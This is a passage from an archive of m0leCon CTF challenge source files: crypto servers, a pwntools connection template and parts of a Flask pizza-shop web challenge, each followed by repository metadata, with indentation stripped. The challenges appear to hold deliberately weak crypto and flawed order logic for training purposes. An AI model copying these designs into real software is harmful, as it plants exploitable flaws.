username = input('Enter your username: ').strip()
password = input('Enter your password: ').strip()
if not is_valid(username) or not is_valid(password):
print('Invalid username or password! Must be 8-32 printable characters.')
continue
if username not in db:
db[username] = []
psw = password.encode()
db[username].append(psw)
db[username].append(gen_token(psw, key))
print('Registered successfully!')
print(f'Your token: {db[username][1]}')
else:
print('Username already exists!')
elif choice == '2':
username = input('Enter your username: ').strip()
password = input('Enter your password: ').strip()
token = input('Enter your token (hex): ').strip()
print()
if username in db:
psw = password.encode()
valid_token, twist = token_verify(psw, token, key)
if psw == db[username][0] and valid_token:
if username == 'admin':
print(f'Welcome admin!')
print('Here is all the access tokens:')
for user in db:
print(f'{user}: {db[user][1]}')
elif username == 'CEO':
print(f'Welcome CEO!')
print(f'Here is the flag: {FLAG}')
else:
print(f'Welcome {username}!')
print('New feautures coming soon!')
else:
if twist:
print('Authentication failed! But hey, you got lucky this time!')
else:
print('Authentication failed!')
else:
print('Username does not exist!')
else:
print('See you next time!')
break | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2026/Beginner/crypto/NO_birthday_s.r.l/no_birthday.py | ctfs/m0leCon/2026/Beginner/crypto/NO_birthday_s.r.l/no_birthday.py | #! /usr/bin/env python3
import os
import hashlib
from functools import reduce
from secret import *
assert FLAG is not None
assert FLAG.startswith("ptm{")
assert FLAG.endswith("}")
db = {(1, 'admin', 1002319200)}
banner = """
===========================================================
= =
= NO birthday s.r.l =
= =
===========================================================
"""
menu = """
1) Iscriviti
2) Controlla compleanno
0) Esci
"""
def get_birthday(bd: int) -> bytes:
h = hashlib.sha3_256(bd.to_bytes(8, 'little')).digest()
l = [int.from_bytes(h[i: i+8], 'big') for i in range(0, len(h), 8)]
return reduce(lambda x, y: x ^ y, l).to_bytes(8, 'big')[:7]
def enroll():
print("Iscriviti")
name = input("Nome: ")
birthday = input("Inserisci il tuo compleanno (timestamp unix): ")
for (_, n, b) in db:
if n == name or b == int(birthday): raise Exception("Non possono esistere due persone con lo stesso nome o compleanno!")
db.add((len(db) + 1, name, int(birthday)))
print(f"Utente {name} iscritto con successo!")
def check():
print("Stai sfidando il nostro amministratore!?")
print("Ti concede solo una possibilità per dimostrargli che ha torto...")
name1 = input("Nome del primo dipendente: ")
name2 = input("Nome del secondo dipendente: ")
user1 = next(((i, n, b) for (i, n, b) in db if n == name1), None)
user2 = next(((i, n, b) for (i, n, b) in db if n == name2), None)
if not user1 or not user2:
raise Exception("Uno dei due utenti non esiste!")
if user1[0] == user2[0]:
print("Hai provato a barare, il nostro amministratore non è stupido!")
exit(0)
if get_birthday(user1[2]) == get_birthday(user2[2]): # Guarda, io il codice lo metto, anche se non raggiungibile ~ admin
print("Non è possibile! Il nostro amministratore ha sbagliato!")
print(f"Ecco la flag: {FLAG}")
if user1[1][0] == 0:
super_secret_function()
exit(0)
print("Mi dispiace, ma il nostro amministratore aveva ragione.")
exit(0)
if __name__ == '__main__':
print(banner)
print("Il nostro amministratore è convinto che ogni persona abbia diritto a un compleanno sicuro.")
print("È talmente certo, che è disposto a rivelare il suo segreto alla coppia di dipendenti che sia nata nello stesso esatto momento!")
print("")
while True:
try:
print(menu)
choice = input("> ")
if choice == "1":
enroll()
elif choice == "2":
check()
elif choice == "0":
print("Arrivederci!")
exit(0)
except Exception as e:
print("Bzz! Bzz! Bzz!")
exit(0) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2026/Beginner/crypto/Magic_OTP/magic-OTP.py | ctfs/m0leCon/2026/Beginner/crypto/Magic_OTP/magic-OTP.py | import os
from secret import KEY
assert len(KEY) == 2
assert KEY[1] == 64
def crypt(n):
m = (1<<KEY[1])-1
iv = os.urandom(KEY[1]//8)
x = int.from_bytes(iv, 'big') & m
y = bytearray()
for _ in range(n):
b = 0
for i in range(8):
b += (x&1)
if i!=7: b <<= 1
f = sum(((x>>p)&1) for p in KEY[0])&1
x = ((x>>1)|(f<<(KEY[1]-1))) & m
y.append(b)
return bytes(y)
with open("db.db", "rb") as f:
data = f.read()
with open("db.enc", "wb") as f:
f.write(bytes(a^b for a,b in zip(data, crypt(len(data))))) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2024/Quals/crypto/ECSign/server.py | ctfs/m0leCon/2024/Quals/crypto/ECSign/server.py | from Crypto.PublicKey.ECC import EccPoint
from Crypto.Random import random
import hashlib
import json
import os
FLAG = os.environ.get("FLAG", "ptm{test}")
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
Gx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
Gy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
q = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
G = EccPoint(Gx, Gy)
N = 32
T = 64
B = 4
bases = [random.randint(1, q-1) for _ in range(N)]
def action(pub, priv):
res = 1
for li, ei in zip(bases, priv):
res = (res * pow(li, ei, q)) % q
Q = res * pub
return Q
def keygen():
sk = [random.randint(-B, B) for _ in range(N)]
pk = action(G, sk)
return (sk, pk)
def sub(a, b):
return [x-y for x,y in zip(a, b)]
def sign(msg, sk):
fs = []
Ps = []
cnt = 0
while cnt < T:
f = [random.randint(-(N*T+1)*B, (N*T+1)*B) for _ in range(N)]
b = sub(f, sk)
vec = [-N*T*B <= bb <= N*T*B for bb in b]
if all(vec):
P = action(G, f)
fs.append(f)
Ps.append((P.x,P.y))
cnt += 1
s = ",".join(map(str, Ps)) + "," + msg
h = int.from_bytes(hashlib.sha256(s.encode()).digest(), "big")
outs = []
for i in range(T):
b = (h>>i) & 1
if b:
outs.append((b, sub(fs[i], sk)))
else:
outs.append((b, fs[i]))
return outs
def verify(msg, sigma, pk):
Ps = []
for i in range(T):
if sigma[i][0]:
start = pk
else:
start = G
end = action(start, sigma[i][1])
Ps.append((end.x, end.y))
s = ",".join(map(str, Ps)) + "," + msg
h = int.from_bytes(hashlib.sha256(s.encode()).digest(), "big")
for i in range(T):
b = (h>>i) & 1
if b != sigma[i][0]:
return False
return True
def menu():
print("Choose an action")
print("1. Sign a message")
print("2. Get the flag")
print("3. Quit")
return int(input(">"))
def main():
print("Let's sign some messages!")
FLAG_MSG = "gimmetheflag"
sk, pk = keygen()
print(bases)
print(pk.x, pk.y)
while True:
choice = menu()
if choice == 1:
m = input("The message to sign: ")
if m == FLAG_MSG:
print("Lol nope")
exit(0)
signature = sign(m, sk)
print(json.dumps(signature))
elif choice == 2:
sigma = json.loads(input("Give me a valid signature: "))
if verify(FLAG_MSG, sigma, pk):
print(FLAG)
else:
break
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2024/Quals/crypto/Talor/chall.py | ctfs/m0leCon/2024/Quals/crypto/Talor/chall.py | #!/usr/bin/env python3
from random import SystemRandom
import os
random = SystemRandom()
p = 241
SB = [31, 32, 57, 9, 31, 144, 126, 114, 1, 38, 231, 220, 122, 169, 105, 29, 33, 81, 129, 4, 6, 64, 97, 134, 193, 160, 150, 145, 114, 133, 23, 193, 73, 162, 220, 111, 164, 88, 56, 102, 0, 107, 37, 227, 129, 17, 143, 134, 76, 152, 39, 233, 0, 147, 9, 220, 182, 113, 203, 11, 31, 125, 125, 194, 223, 192, 49, 71, 20, 227, 25, 38, 132, 17, 90, 109, 36, 157, 238, 127, 115, 92, 149, 216, 182, 15, 123, 28, 173, 114, 86, 159, 117, 60, 42, 191, 106, 182, 43, 108, 24, 232, 159, 25, 240, 78, 207, 158, 132, 156, 203, 71, 226, 235, 91, 92, 238, 110, 195, 78, 8, 54, 225, 108, 193, 65, 211, 212, 68, 77, 232, 100, 147, 171, 145, 96, 225, 63, 37, 144, 71, 38, 195, 19, 121, 197, 112, 20, 2, 186, 144, 217, 189, 130, 34, 180, 47, 121, 87, 154, 211, 188, 176, 65, 146, 26, 194, 213, 45, 171, 24, 37, 76, 42, 232, 13, 111, 80, 109, 178, 178, 31, 51, 100, 190, 121, 83, 53, 156, 62, 70, 23, 151, 227, 169, 160, 45, 174, 76, 25, 196, 62, 201, 6, 215, 139, 192, 83, 141, 230, 110, 39, 170, 189, 158, 153, 143, 110, 169, 206, 239, 56, 58, 174, 222, 29, 33, 198, 134, 181, 83, 72, 24, 61, 189, 177, 159, 31, 53, 5, 30]
state_size = 32
r = 16
c = state_size - r
ROUNDS = 140
rc = [0 for i in range(ROUNDS)]
start_state = [0]*state_size
flag = os.environ.get("FLAG", "ptm{REDACTED}")
def absorb(state):
state = state[:]
for i in range(ROUNDS):
tmp = SB[(state[0] + rc[i]) % p]
for j in range(1, len(state)):
state[j] += tmp
state[j] %= p
state = state[1:] + state[:1]
return state
def sponge(payload):
assert len(payload) % r == 0
state = start_state[:]
for i in range(0, len(payload), r):
state = [(state[j] + payload[i+j]) % p for j in range(r)] + state[r:]
state = absorb(state)
return state[:r-4]
def h(msg):
m = msg[:]
m.append(len(m))
if len(m) % r != 0:
m += [0] * (r - (len(m) % r))
return sponge(m)
for i in range(10):
rc = [random.randint(1,p-1) for i in range(ROUNDS)]
print(f"Iteration {i+1}")
print(f"{rc = }")
m1 = list(bytes.fromhex(input("M1: ")))
m2 = list(bytes.fromhex(input("M2: ")))
if m1 == m2 or h(m1) != h(m2) or any([x>=p for x in m1]) or any([x>=p for x in m2]) or len(m1)>=p or len(m2)>=p:
print("Nope!", m1, m2, h(m1), h(m2))
exit()
print(flag) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2024/Quals/crypto/Quadratic_Leak/QuadraticLeak.py | ctfs/m0leCon/2024/Quals/crypto/Quadratic_Leak/QuadraticLeak.py | from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes, bytes_to_long
flag = b'ptm{REDACTED}'
flag = bytes_to_long(flag)
key = RSA.generate(2048)
n = key.n
e = key.e
p, q = key.p, key.q
leak = (p**2 + q**2 - p - q)%key.n
ciph = pow(flag, key.e, key.n)
ciph = long_to_bytes(ciph)
print(f'{n = }')
print(f'{e = }')
print(f'{ciph = }')
print(f'{leak = }') | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2024/Quals/crypto/Yet_Another_OT/server.py | ctfs/m0leCon/2024/Quals/crypto/Yet_Another_OT/server.py | import random
from hashlib import sha256
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
random = random.SystemRandom()
def jacobi(a, n):
if n <= 0:
raise ValueError("'n' must be a positive integer.")
if n % 2 == 0:
raise ValueError("'n' must be odd.")
a %= n
result = 1
while a != 0:
while a % 2 == 0:
a //= 2
n_mod_8 = n % 8
if n_mod_8 in (3, 5):
result = -result
a, n = n, a
if a % 4 == 3 and n % 4 == 3:
result = -result
a %= n
if n == 1:
return result
else:
return 0
def sample(start, N):
while jacobi(start, N) != 1:
start += 1
return start
class Challenge:
def __init__(self, N):
assert N > 2**1024
assert N % 2 != 0
self.N = N
self.x = sample(int.from_bytes(sha256(("x"+str(N)).encode()).digest(), "big"), N)
ts = []
tts = []
for _ in range(128):
t = random.randint(1, self.N)
ts.append(t)
tts.append(pow(t, N, N))
print(json.dumps({"vals": tts}))
self.key = sha256((",".join(map(str, ts))).encode()).digest()
def one_round(self):
z = sample(random.randint(1, self.N), self.N)
r0 = random.randint(1, self.N)
r1 = random.randint(1, self.N)
m0, m1 = random.getrandbits(1), random.getrandbits(1)
c0 = (r0**2 * (z)**m0) % self.N
c1 = (r1**2 * (z*self.x)**m1) % self.N
print(json.dumps({"c0": c0, "c1": c1}))
data = json.loads(input())
v0, v1 = data["m0"], data["m1"]
return v0 == m0 and v1 == m1
def send_flag(self, flag):
cipher = AES.new(self.key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag.encode(), 16))
print(ct.hex())
FLAG = os.environ.get("FLAG", "ptm{test}")
def main():
print("Welcome to my guessing game!")
N = int(input("Send me a number: "))
chall = Challenge(N)
for _ in range(128):
if not chall.one_round():
exit(1)
chall.send_flag(FLAG)
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/pwn/NoRegVM/template.py | ctfs/m0leCon/2023/Quals/pwn/NoRegVM/template.py | #!/usr/bin/env python3
from pwn import *
r = remote("remote-addr", 3333)
# send files before interacting
code_file = open("challenge.vm", "rb")
r.send(code_file.read()+b'ENDOFTHEFILE')
code_file.close()
memory_file = open("strings.vm", "rb")
r.send(memory_file.read()+b'ENDOFTHEFILE')
memory_file.close()
r.recvuntil(b"Starting challenge...\n")
# Now you can interact with the challenge
r.interactive()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/crypto/Collisions/server.py | ctfs/m0leCon/2023/Quals/crypto/Collisions/server.py | from math import log, ceil
import os
from Crypto.Util.number import bytes_to_long, long_to_bytes
from secret import flag
blen = 16
nrounds = 128
sbox = [171, 87, 67, 54, 63, 28, 53, 182, 176, 135, 130, 106, 133, 137, 108, 181, 228, 236, 198, 15, 27, 168, 190, 172, 61, 43, 224, 174, 175, 208, 183, 162, 18, 5, 96, 214, 126, 109, 215, 56, 246, 250, 179, 23, 206, 48, 82, 180, 124, 90, 200, 127, 0, 58, 253, 125, 16, 46, 93, 121, 36, 100, 6, 60, 94, 11, 39, 231, 203, 161, 247, 221, 37, 3, 210, 139, 115, 201, 237, 219, 217, 77, 243, 177, 134, 80, 68, 148, 76, 152, 187, 71, 156, 14, 207, 22, 55, 122, 184, 158, 166, 50, 209, 192, 151, 9, 202, 226, 24, 117, 223, 32, 245, 249, 189, 238, 21, 149, 13, 112, 254, 145, 165, 98, 116, 150, 41, 159, 140, 65, 118, 19, 113, 154, 194, 59, 240, 233, 86, 170, 227, 89, 199, 52, 241, 167, 142, 83, 44, 230, 163, 229, 234, 64, 255, 173, 160, 196, 147, 138, 102, 20, 92, 105, 78, 153, 132, 2, 164, 186, 205, 244, 31, 69, 129, 72, 252, 17, 131, 4, 103, 26, 119, 235, 74, 128, 212, 216, 120, 188, 91, 95, 73, 123, 107, 114, 111, 85, 7, 104, 101, 40, 251, 155, 213, 75, 51, 33, 218, 49, 10, 57, 25, 195, 143, 178, 34, 191, 144, 197, 1, 12, 211, 81, 141, 88, 84, 222, 239, 157, 29, 47, 62, 136, 248, 242, 193, 220, 66, 38, 42, 97, 185, 99, 204, 8, 225, 232, 30, 110, 146, 79, 45, 70, 35, 169]
rc = [1192180554802309715, 15357825206677894448, 12364550058678393764, 13185209830599660146, 9239678266226982024, 16338756937323559038, 7485932566889899965, 15503616959597248342, 11144428785814687622, 13015966274997827985, 840486818009061149, 17822632475711108743, 9000338084902571847, 13301989424091815714, 14026823928662953167, 5748000750852658499, 6503857780247248964, 10991476491105780347, 9326797138252467128, 11225583252586063690, 15359810856388438301, 15408440582570012012, 4193132651434125272, 10638250251052472893, 12862118101947854833, 1348484112705089665, 6522005611188182502, 12711882989506746887, 7253487312367529438, 8825312390129495934, 4363616274455113953, 1387510590579321198, 89038895263493645, 3857115218094664338, 11619934682511349385, 5689291745282345237, 1532635045692755177, 1673664814195454175, 1420806296767292573, 12341436251610174933, 18299762887884357450, 9537720609777531010, 3446136590857937458, 5617531288150073688, 13951470737211556495, 11019695778625615682, 5314519497183434279, 14352508956890360571, 12663754479137963483, 12079723512482945908, 3418023335694476407, 6305260970679218586, 7505170354011637713, 14984002641112951528, 896663825811904218, 15061467523410920511, 1561338766052801171, 8868748403006289455, 8621427660329345752, 14670912587105154630, 18238916867928973910, 10558223308396465505, 16015929854947797410, 8476673582779772318, 2700326585588325856, 6071076940706400969, 12966741535784520256, 4961426115856657422, 16617581811650173593, 4565104874443924172, 1496392013849348660, 16240486341883612680, 17061642171936001168, 4098162030079555474, 12630673912845907658, 6225602515296071644, 16324453728264915276, 7169753245029466967, 7714887874277902964, 14822070421771194182, 2285253075697335161, 1938041648606486794, 14304187738479011381, 11286537762491483783, 13047352567495354496, 489105814990171450, 7710430061438285907, 16593103481363343699, 10028425547145971132, 18217129815774432325, 4786137104867442053, 13142235811521835506, 10101797645015691408, 5874816575627934939, 7764225491165157981, 15384035907289038051, 9154068939360201242, 13641820036811609797, 1445532514231924913, 975206713259740185, 6262263062951138016, 7216648770904062824, 12203910699941962812, 15059735642894169490, 4636368895554000334, 11912581699975935801, 7354609712411320439, 6215300806375794422, 12906921145388712095, 4503076542031797522, 9183656615582915004, 4986608459697513377, 15660490398589616670, 12693604837406975942, 11467484840102943352, 8806181480272777696, 12972251458495480268, 9523090198520831487, 5485010707548659856, 9450000051457418417, 4009066164056236618, 14923864664834670487, 16546566212772199058, 14451968448758369784, 8351242834871917600, 18093594061548908624, 5487102068908277918, 3185570044519325549]
def pad(msg):
return msg + bytes([blen-(len(msg)%blen)])*(blen-(len(msg)%blen))
def xor(a, b):
return bytes([x^y for x,y in zip(a,b)])
def rotr(val, r):
return (val >> r) | ((val & (1<<r)-1) << (8-r))
def f(m, k, r):
state = (bytes_to_long(m) ^ k).to_bytes(blen//2, byteorder = "big")
state = [sbox[x] for x in state]
state[2] ^= (0xf0 - (r%16)*0x10 + r*0x1)%256
for i in range(8):
state[i] ^= state[(i-1)%8]
state2 = [(state[i] ^ 0xff) & state[(i+1)%8] for i in range(8)]
for i in range(8):
state[i] ^= state2[(i+1)%8]
state[0] ^= rotr(state[0], 5) ^ rotr(state[0], 6)
state[1] ^= rotr(state[1], 2) ^ rotr(state[1], 6)
state[2] ^= rotr(state[2], 2) ^ rotr(state[2], 1)
state[3] ^= rotr(state[3], 4) ^ rotr(state[3], 2)
state[4] ^= rotr(state[4], 3) ^ rotr(state[4], 5)
state[5] ^= rotr(state[5], 1) ^ rotr(state[5], 5)
state[6] ^= rotr(state[6], 2) ^ rotr(state[6], 4)
state[7] ^= rotr(state[7], 3) ^ rotr(state[7], 4)
return bytes(state)
def ks(k):
k1 = bytes_to_long(k) % 2**(4*blen)
k2 = bytes_to_long(k) >> (4*blen)
rk1 = [((k1 << (i%(4*blen)))%(2**(4*blen))) | k1 % (2**(i%(4*blen))) for i in range(nrounds//2)]
rk2 = [((k2 << (i%(4*blen)))%(2**(4*blen))) | k2 % (2**(i%(4*blen))) for i in range(nrounds//2)]
round_keys = sum([[rk1[i], rk2[i]] for i in range(nrounds//2)], [])
round_keys = [round_keys[i] ^ rc[i] for i in range(len(round_keys))]
return round_keys
def block(m1, m2):
keys = ks(m1)
l, r = m2[:blen//2], m2[blen//2:]
for i in range(nrounds):
l, r = r, xor(l, f(r, keys[i], i))
return l+r
def preprocess(b, cnt):
state = [int(x) for x in bin(bytes_to_long(b))[2:].rjust(cnt, '0')]
for i in range(cnt):
feedback = state[0] ^ state[47] ^ (1 - (state[70] & state[85])) ^ state[91]
state = state[1:] + [feedback]
b = long_to_bytes(int(''.join(str(x) for x in state), 2)).rjust(cnt//8, b"\x00")
return b
def hash(msg):
assert len(msg) < 256*blen
m = pad(msg)
assert len(m) % blen == 0
s = len(m)//blen
t = 2**ceil(log(s, 2))
m = [m[blen*i:blen*(i+1)] for i in range(s)]
for i in range(len(m)):
m[i] = preprocess(m[i], 8*blen)
while len(m) < 2*t-1:
m.append(b"")
for i in range(t, 2*t-1):
l = 2*(i-t)
r = l+1
if m[l] == b"" and m[r] == b"":
m[i] = b""
elif m[r] == b"":
m[i] = m[l]
else:
m[i] = xor(block(m[l], m[r]), m[r])
return xor(block(m[-1], pad(bytes([s]))), pad(bytes([s])))
def chall():
for _ in range(10):
mymsg = os.urandom(64)
myhash = hash(mymsg).hex()
print((mymsg.hex(), myhash))
yourmsg = bytes.fromhex(input())
yourhash = hash(yourmsg).hex()
assert myhash == yourhash and mymsg != yourmsg
print(flag)
chall()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/api.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/api.py | import base64
import json
import os
import traceback
import zlib
import simple_websocket
from flask_login import current_user, login_required
from models import Order, Product, User
from server import JSONEncoder, db
from flask import Blueprint, request
api = Blueprint("api", __name__)
ok_msg = json.dumps({"ok": True})
unparsable_msg = json.dumps({"ok": False})
fail_msg = json.dumps({"ok": False, "error": "🍕"})
timeout_msg = json.dumps({"ok": False, "error": "🍕 REQUESTS TIMEOUT"})
rate_msg = json.dumps({"ok": False, "error": "TOO MANY 🍕 REQUESTS"})
max_requests = 50
# def serialize(data):
# return base64.standard_b64encode(zlib.compress(data.encode("ascii"), level=-1)).decode("ascii")
#
#
# def unserialize(data):
# return zlib.decompress(base64.standard_b64decode(data.encode("ascii"))).decode("ascii")
def balance(data, ws, n):
return 1, {"ok": True, "balance": current_user.balance}
def order(data, ws, n):
if "orders" not in data:
raise AssertionError("NO 🍕 'orders' IN YOUR ORDER")
if type(data["orders"]) is not list:
raise AssertionError("NO 🍕 'orders' LIST IN YOUR ORDER")
if n + len(data["orders"]) > max_requests:
return len(data["orders"]), None
for item in data["orders"]:
if type(item) is not dict:
db.session.rollback()
raise AssertionError("ONE OF YOUR 🍕 ORDERS IS NOT AN ORDER")
if "product" not in item:
db.session.rollback()
raise AssertionError("NO 🍕 'product' IN ONE OF YOUR ORDERS")
if type(item["product"]) is not int:
db.session.rollback()
raise AssertionError("ONE OF YOUR 🍕 'product' IDS IS NOT INT")
if "quantity" not in item:
db.session.rollback()
raise AssertionError("NO 🍕 'quantity' IN ONE OF YOUR ORDERS")
if type(item["quantity"]) is not int:
db.session.rollback()
raise AssertionError("ONE OF YOUR 🍕 'quantity' IS NOT INT")
product = db.session.execute(db.select(Product).filter(
Product.id == item["product"])).scalars().one_or_none()
if product is None:
db.session.rollback()
raise AssertionError("WE DON'T SELL THAT 🍕")
quantity = item["quantity"]
current_user.balance -= product.price * quantity
if current_user.balance < 0:
db.session.rollback()
raise AssertionError("NO 🍕 STEALING ALLOWED!")
db.session.add(Order(
user_id=current_user.id,
product_id=product.id,
product_quantity=quantity,
product_price=product.price
))
if product.id == 0 and quantity > 0:
ws.send(
f"WOW you are SO rich! Here's a little extra with your golden special 🍕: {os.environ['FLAG']}")
db.session.add(current_user)
db.session.commit()
return len(data["orders"]), {"ok": True, "balance": current_user.balance, "orders": _orders()}
def cancel(data, ws, n):
if "orders" not in data:
raise AssertionError("NO 🍕 'orders' TO CANCEL IN YOUR CANCEL ORDER")
if type(data["orders"]) is not list:
raise AssertionError(
"NO 🍕 'orders' LIST TO CANCEL IN YOUR CANCEL ORDER")
if n + len(data["orders"]) > max_requests:
return len(data["orders"]), None
for item in data["orders"]:
if type(item) is not int:
db.session.rollback()
raise AssertionError("ONE OF YOUR 🍕 CANCEL ORDER IDS IS NOT INT")
order = db.session.execute(db.select(Order).filter(
Order.id == item, Order.user_id == current_user.id)).scalars().one_or_none()
if order is None:
db.session.rollback()
raise AssertionError("YOU DID NOT ORDER THAT 🍕")
current_user.balance += order.product_price * order.product_quantity
db.session.delete(order)
db.session.add(current_user)
db.session.commit()
return len(data["orders"]), {"ok": True, "balance": current_user.balance, "orders": _orders()}
def _orders():
return list(map(lambda r: r._asdict(), db.session.execute(db.select(Order).filter(Order.user_id == current_user.id)).scalars().all()))
def orders(data, ws, n):
return 1, {"ok": True, "orders": _orders()}
request_handlers = {
"balance": balance,
"order": order,
"cancel": cancel,
"orders": orders,
}
@api.route("/sock", websocket=True)
@login_required
def sock():
ws = simple_websocket.Server(request.environ)
try:
i = 0
while i < max_requests:
n = 1
try:
d = ws.receive(timeout=30)
if d is None:
ws.close(reason=1008, message=timeout_msg)
raise simple_websocket.ConnectionClosed()
data = json.loads(d)
if not isinstance(data, dict):
raise AssertionError("invalid request")
r = data.get("request", None)
if r not in request_handlers:
raise AssertionError("bad request")
n, ret = request_handlers[r](data, ws, i)
except json.JSONDecodeError:
# traceback.print_exc()
ret = unparsable_msg
except AssertionError as e:
# print(repr(e))
# traceback.print_exc()
# ret = {"ok": False}
ret = {"ok": False, "error": str(e)}
# ret = {"ok": False, "error": repr(e)}
# ret = {"ok": False, "error": traceback.format_exc()}
except simple_websocket.ConnectionClosed as e:
raise e
except Exception as e:
# print(repr(e))
traceback.print_exc()
# ret = {"ok": False}
# ret = {"ok": False, "error": str(e)}
ret = {"ok": False, "error": repr(e)}
# ret = {"ok": False, "error": traceback.format_exc()}
if ret is not None:
ws.send(json.dumps(ret, cls=JSONEncoder))
else:
ws.send(ok_msg)
i += n
ws.close(reason=1008, message=rate_msg)
raise simple_websocket.ConnectionClosed()
except simple_websocket.ConnectionClosed:
pass
except Exception as e:
# print(repr(e))
traceback.print_exc()
return ""
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/server.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/server.py | import json
import os
import secrets
from datetime import timedelta
from decimal import Decimal
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
from flask_sslify import SSLify
from flask_talisman import Talisman
from flask_talisman.talisman import ONE_YEAR_IN_SECS
from flask_wtf.csrf import CSRFProtect
from flask import Flask, abort
# domain = None # "127.0.0.1"
domain = "goldinospizza.challs.m0lecon.it"
app = Flask(__name__)
# init extended json encoder
class JSONEncoder(json.JSONEncoder):
# JSON ENCODER EXTENSION
def default(self, o):
if type(o) is Decimal:
return float(o)
return json.JSONEncoder.default(self, o)
# init sslify
sslify = SSLify(app)
# init talisman
talisman = Talisman(
app,
content_security_policy_nonce_in=["script-src", "style-src"],
# content_security_policy_nonce_in=["script-src", "style-src"],
content_security_policy_report_only=False,
content_security_policy_report_uri=None,
content_security_policy={ # do not add stuff here, put tags in html template tags: nonce="{{ csp_nonce() }}"
"default-src": "'none'",
"script-src": "'self'",
"style-src": "'self'",
"img-src": "'self'",
"connect-src": "'self'",
"base-uri": "'none'",
"form-action": "'self'",
"frame-ancestors": "'none'",
"strict-dynamic": "",
},
feature_policy={},
force_file_save=True,
force_https_permanent=True,
force_https=True,
frame_options_allow_from=None,
frame_options="DENY",
referrer_policy="strict-origin-when-cross-origin",
session_cookie_http_only=True,
session_cookie_secure=True,
strict_transport_security_include_subdomains=True,
strict_transport_security_max_age=ONE_YEAR_IN_SECS,
# SOULD BE TRUE, enables HSTS preloading if you register your application with Google's HSTS preload list, Firefox and Chrome will never load your site over a non-secure connection.
strict_transport_security_preload=False,
strict_transport_security=True,
)
# init session
app.config.update(
APPLICATION_ROOT="/",
JSON_AS_ASCII=True,
JSON_SORT_KEYS=False,
JSONIFY_MIMETYPE="application/json",
JSONIFY_PRETTYPRINT_REGULAR=False,
MAX_CONTENT_LENGTH=16 * 1000 * 1000,
MAX_COOKIE_SIZE=4093,
PERMANENT_SESSION_LIFETIME=timedelta(minutes=30),
PREFERRED_URL_SCHEME="https",
SECRET_KEY=secrets.token_hex(256),
SEND_FILE_MAX_AGE_DEFAULT=timedelta(hours=12),
SERVER_NAME=domain,
SESSION_COOKIE_DOMAIN=domain,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_NAME="session",
SESSION_COOKIE_PATH="/",
SESSION_COOKIE_SAMESITE="Strict",
SESSION_COOKIE_SECURE=True,
SESSION_REFRESH_EACH_REQUEST=True,
USE_X_SENDFILE=False, # disabled: does not work with gunicorn
)
# init flask-wtf
app.config.update(
# RECAPTCHA_API_SERVER=None,
# RECAPTCHA_DATA_ATTRS=None,
# RECAPTCHA_DIV_CLASS="g-recaptcha",
# RECAPTCHA_HTML=None,
# RECAPTCHA_PARAMETERS=None,
# RECAPTCHA_PRIVATE_KEY=None,
# RECAPTCHA_PUBLIC_KEY=None,
# RECAPTCHA_SCRIPT="https://www.google.com/recaptcha/api.js",
# RECAPTCHA_VERIFY_SERVER="https://www.google.com/recaptcha/api/siteverify",
WTF_CSRF_CHECK_DEFAULT=True,
WTF_CSRF_ENABLED=True,
WTF_CSRF_FIELD_NAME="csrf_token",
WTF_CSRF_HEADERS=["X-CSRFToken", "X-CSRF-Token"],
